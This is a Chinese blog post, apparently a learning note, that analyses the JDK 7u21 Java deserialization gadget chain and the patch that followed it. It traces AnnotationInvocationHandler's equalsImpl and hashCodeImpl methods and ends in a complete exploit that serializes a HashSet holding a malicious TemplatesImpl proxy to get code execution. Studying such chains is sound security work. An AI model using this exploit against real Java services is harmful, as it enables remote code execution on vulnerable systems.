背景
继续我们P牛的Java漫谈系列
这是一条不依靠依赖的链子()它适用于Java 7u21及以前(大多数)的版本
接着,这篇也可以回顾一下之前所学,所谓java反序列化的核心点必是动态执行的地方
比如CC链的transformer方法,或者是通过instantiateTransformer->TrAXFilter->TemplateImpl,又或者是PropertyUtils#getProperty调用
既然我继续学习7u21的专属链,那么也得找到一个动态执行点,根据它前后搭链子才行,这个类叫sun.reflect.annotation.AnnotationInvocationHandler
是不是很熟悉,回到CC1上,我们学的就是它
链子分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| private Boolean equalsImpl(Object var1) { if (var1 == this) { return true; } else if (!this.type.isInstance(var1)) { return false; } else { for(Method var5 : this.getMemberMethods()) { String var6 = var5.getName(); Object var7 = this.memberValues.get(var6); Object var8 = null; AnnotationInvocationHandler var9 = this.asOneOfUs(var1); if (var9 != null) { var8 = var9.memberValues.get(var6); } else { try { var8 = var5.invoke(var1); } catch (InvocationTargetException var11) { return false; } catch (IllegalAccessException var12) { throw new AssertionError(var12); } }
if (!memberValueEquals(var7, var8)) { return false; } }
return true; } }
|
for(Method var5 : this.getMemberMethods())
跟进看看这个方法是什么
1 2 3 4 5 6 7 8 9 10 11 12 13
| private Method[] getMemberMethods() { if (this.memberMethods == null) { this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() { public Method[] run() { Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods(); AccessibleObject.setAccessible(var1, true); return var1; } }); }
return this.memberMethods; }
|
这个方法是获取指定类的所有方法
然后走到这里var8 = var5.invoke(var1);
遍历执行,链子的边边角角先不提,关键是,如何调用这个equalsImpl方法,它毕竟是private的
如果你的CC1是跟着ysoserial学的,肯定知道如何利用代理
关注AnnotationInvocationHandler类里面的invoke方法,在这里调用了equalsImpl
但是,条件是找到一个方法,调用了代理的equals方法
1 2 3
| if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); }
|
equals方法较为常见,常用来比较java对象
我们要知道集合set不允许重复,因而在添加对象时,一定会有比较操作
具体看Hashset的readObject方法
里面调用了put方法,如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public V put(K key, V value) { if (key == null) return putForNullKey(value); int hash = hash(key); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } }
modCount++; addEntry(hash, key, value, i); return null; }
|
hashCode的构造
观察到两个不同的对象的 i 相等时,才会执行到 key.equals(k)
即要让我们传入了两个对象,一个Proxy,一个TemplatesImpl的hashcode相等
TemplateImpl的hashCode()是一个Native方法,每次运行都会发生变化,我们理论上是无法预测的,所以想让proxy的hashCode()与之相等,只能寄希望于proxy.hashCode()
跟进逻辑发现有迹可循
调用proxy.hashCode()的时候其实会先调用其invoke方法
1 2 3
| else if (var4.equals("hashCode")) { return this.hashCodeImpl(); }
|
再跟进
1 2 3 4 5 6 7 8 9
| private int hashCodeImpl() { int var1 = 0;
for(Map.Entry var3 : this.memberValues.entrySet()) { var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue()); } return var1; }
|
这个逻辑有什么漏洞呢?
大佬早有总结
1 2 3 4
| 当memberValues中只有一个key和一个value时,该哈希简化成(127 * key.hashCode()) ^ value.hashCode() 当key.hashCode()等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成value.hashCode()。 当value就是TemplateImpl对象时,这两个对象的哈希就完全相等。 所以我们现在最终的问题就是找到一个字符串其hashCode()为0,这里直接给出其中一个答案:f5a5a608
|
略总
所以从Hashset进去,add两个对象,一个是Proxy对象,一个是TemplatesImpl对象,当进入proxy.equals时,进入了AnnotationInvocationHandler的equalsImpl方法,然后遍历TemplateImpl类的方法,执行newTransformer,rce
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(com.example.Evil.class.getName()); TemplatesImpl templates1 = new TemplatesImpl(); setFieldValue(templates1, "_name", "xxdssadax"); setFieldValue(templates1, "_tfactory", new TransformerFactoryImpl()); setFieldValue(templates1, "_bytecodes", new byte[][]{clazz.toBytecode()});
HashMap maps=new HashMap(); maps.put("f5a5a608",templates1); Class cla = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = cla.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Templates.class, maps); Templates proxyMap = (Templates)Proxy.newProxyInstance(Proxy.class.getClassLoader(), new Class[]{Templates.class}, handler); HashSet hashSet = new HashSet(); hashSet.add(templates1); hashSet.add(proxyMap);
serilize(hashSet); unserilize("1.bin"); } public static void serilize(Object obj) throws IOException { ObjectOutputStream oos= new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin"))); oos.writeObject(obj); }
public static void unserilize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois= new ObjectInputStream(Files.newInputStream(Paths.get(filename))); ois.readObject(); } public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException { Class<?> clazz = obj.getClass(); Field fieldName = clazz.getDeclaredField(field); fieldName.setAccessible(true); fieldName.set(obj, value); }
|
代理
还是要稍微了解一下代理规则
1 2 3 4
| newProxyInstance() 中的三个参数还是很重要的,我们稍微解释一下三个参数的含义: 参数一:类加载器对象即用哪个类加载器来加载这个代理类到 JVM 的方法区 参数二:接口表明该代理类需要实现的接口(实测Map和Templates都可,应该区别不大) 参数三:是调用处理器类实例即 InvocationHandler 的实现的实例对象
|
1 2
| InvocationHandler handler = (InvocationHandler) construct.newInstance(Templates.class, maps);
|
maps里是一个键值对,用于hashcode计算时进入invoke方法返回的通过put比较调用equals方法
Templates.class能给 实现 Templates 接口的代理对象做代理
proxy不重要,只要handler正确就行
结语
官方对该链子的修补如下
1 2
| 在sun.reflect.annotation.AnnotationInvocationHandler类的readObject函数中,原本有一个对this.type的检查,在其不是AnnotationType的情况下,会抛出一个异常。 但是,捕获到异常后没有做任何事情,只是将这个函数返回了,这样并不影响整个反序列化的执行过程。在新版中,将这个返回改为了抛出一个异常,会导致整个序列化的过程终止
|
但是并不完全,催生了另一条链子JDK8u20
1 2
| InvocationHandler handler = (InvocationHandler) construct.newInstance(Templates.class, maps);
|
Templates写成了TemplatesImpl,我覅了()